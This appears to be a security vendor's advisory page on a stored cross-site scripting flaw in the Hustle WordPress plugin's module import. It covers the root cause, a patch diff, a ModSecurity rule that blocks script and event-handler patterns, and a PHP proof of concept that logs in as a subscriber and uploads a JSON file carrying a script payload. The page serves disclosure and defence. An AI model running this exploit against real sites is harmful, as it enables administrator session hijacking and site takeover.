Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-119608: This is a stored cross-site scripting (XSS) vulnerability in the Hustle WordPress plugin versions up to and including 7.8.14.4. The flaw resides in the module import functionality, specifically in the handling of the ‘import_file’ parameter. An authenticated attacker with subscriber-level access or higher can inject arbitrary JavaScript into module data, which executes when an administrator or other privileged user views the affected page. The CVSS score is 6.4 (Medium). Exploitation requires that an administrator has previously delegated the ‘hustle_edit_module’ capability to a lower-privileged role via the plugin’s Permissions screen.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in two key areas. First, in ‘wordpress-popup/inc/hustle-modules-common-admin-ajax.php’ around line 750, the import process applies filters to the uploaded data but does not sanitize the ‘meta’ array before saving it to the database. Second, in ‘wordpress-popup/inc/hustle-entry-model.php’ around line 766, the function that truncates string values does not escape HTML when the $allow_html flag is true, allowing raw HTML to be stored and later rendered. The patch addresses both issues: it adds a call to $module->sanitize_module() on the ‘meta’ data before import, and it adds esc_html() to the truncated string when $allow_html is true.
Exploitation: An attacker with subscriber-level access and the ‘hustle_edit_module’ capability can craft a malicious import file (e.g., a JSON file containing a module configuration with a payload in the ‘main_content’ field) and upload it via the import endpoint. The import endpoint is typically accessed through an AJAX action in the WordPress admin, such as ‘hustle_import_module’. The payload would be placed in the ‘meta’ array under the ‘main_content’ key, containing a script tag or event handler. Once imported, the module data is stored without sanitization, and when an administrator views the module (e.g., in the module editor or preview), the script executes.
Patch Analysis: The patch introduces two changes. In hustle-modules-common-admin-ajax.php, after applying import filters, it checks if $data[‘meta’] is a non-empty array and if so, calls $module->sanitize_module() on it. This sanitizes all fields within the meta array, including ‘main_content’, removing or encoding malicious HTML. In hustle-entry-model.php, when truncating a string value and $allow_html is true, it now applies esc_html() to the truncated string. This ensures that any HTML tags are escaped, preventing script execution. The version is bumped to 7.8.14.5.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to session hijacking, theft of sensitive data, creation of rogue administrator accounts, or full site compromise. The vulnerability requires authentication and a specific capability delegation, which limits the attack surface, but the potential impact is high due to the privileges of the victim (administrator).
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wordpress-popup/inc/hustle-entry-model.php
+++ b/wordpress-popup/inc/hustle-entry-model.php
@@ -766,6 +766,9 @@
if ( strlen( $string_value ) > $truncate ) {
$string_value = substr( $string_value, 0, $truncate ) . '...';
}
+ if ( $allow_html ) {
+ $string_value = esc_html( $string_value );
+ }
break;
}
--- a/wordpress-popup/inc/hustle-modules-common-admin-ajax.php
+++ b/wordpress-popup/inc/hustle-modules-common-admin-ajax.php
@@ -750,6 +750,10 @@
}
$data = $this->apply_import_filters( $data, $module->module_mode );
+
+ if ( ! empty( $data['meta'] ) && is_array( $data['meta'] ) ) {
+ $data['meta'] = $module->sanitize_module( $data['meta'] );
+ }
// Import the module's metas.
$current_data = $module->get_module_metas_as_array();
--- a/wordpress-popup/popover.php
+++ b/wordpress-popup/popover.php
@@ -10,7 +10,7 @@
* Plugin Name: Hustle
* Plugin URI: https://wordpress.org/plugins/wordpress-popup/
* Description: Start collecting email addresses and quickly grow your mailing list with big bold pop-ups, slide-ins, widgets, or in post opt-in forms.
- * Version: 7.8.14.4
+ * Version: 7.8.14.5
* Author: WPMU DEV
* Author URI: https://wpmudev.com
* Tested up to: 7.1
--- a/wordpress-popup/vendor/composer/installed.php
+++ b/wordpress-popup/vendor/composer/installed.php
@@ -1,22 +1,22 @@
<?php return array(
'root' => array(
- 'pretty_version' => 'dev-release/7.8.14.4',
- 'version' => 'dev-release/7.8.14.4',
+ 'pretty_version' => 'dev-release/7.8.14.5',
+ 'version' => 'dev-release/7.8.14.5',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
- 'reference' => '81b9c6cf2665b95747ccac335e5689811641a4cf',
+ 'reference' => 'e9efbefa8c3eb2aa6324f786dfa54887f96bd5e2',
'name' => 'incsub/hustle',
'dev' => false,
),
'versions' => array(
'incsub/hustle' => array(
- 'pretty_version' => 'dev-release/7.8.14.4',
- 'version' => 'dev-release/7.8.14.4',
+ 'pretty_version' => 'dev-release/7.8.14.5',
+ 'version' => 'dev-release/7.8.14.5',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
- 'reference' => '81b9c6cf2665b95747ccac335e5689811641a4cf',
+ 'reference' => 'e9efbefa8c3eb2aa6324f786dfa54887f96bd5e2',
'dev_requirement' => false,
),
),
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2026119608,phase:2,deny,status:403,chain,msg:'CVE-2026-119608 via Hustle module import',severity:'CRITICAL',tag:'CVE-2026-119608'"
SecRule ARGS_POST:action "@streq hustle_import_module" "chain"
SecRule FILES_NAMES "@rx ^import_file$" "chain"
SecRule FILES:import_file "@rx <script|onerror|onload|javascript:" "t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-119608 - Hustle <= 7.8.14.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Module Import File 'main_content' Parameter
// This PoC demonstrates the vulnerability by uploading a malicious import file.
// It assumes the attacker has a valid session with a user that has the 'hustle_edit_module' capability.
// Replace $target_url and credentials with actual values.
$target_url = 'http://example.com';
$username = 'subscriber';
$password = 'password';
// Step 1: Authenticate and get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Craft the malicious import file (JSON format)
$malicious_payload = '<script>alert("XSS");</script>';
$import_data = [
'module' => [
'module_type' => 'popup',
'meta' => [
'main_content' => $malicious_payload
]
]
];
$import_json = json_encode($import_data);
$temp_file = tempnam(sys_get_temp_dir(), 'hustle_import_');
file_put_contents($temp_file, $import_json);
// Step 3: Upload the import file via AJAX action
// The exact action name may vary; this is based on typical Hustle import functionality.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'action' => 'hustle_import_module',
'import_file' => new CURLFile($temp_file),
'module_mode' => 'popup'
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Clean up
unlink($temp_file);
// Step 5: The XSS will execute when an admin views the imported module.
echo "Exploit sent. Check admin panel for XSS execution.n";
?>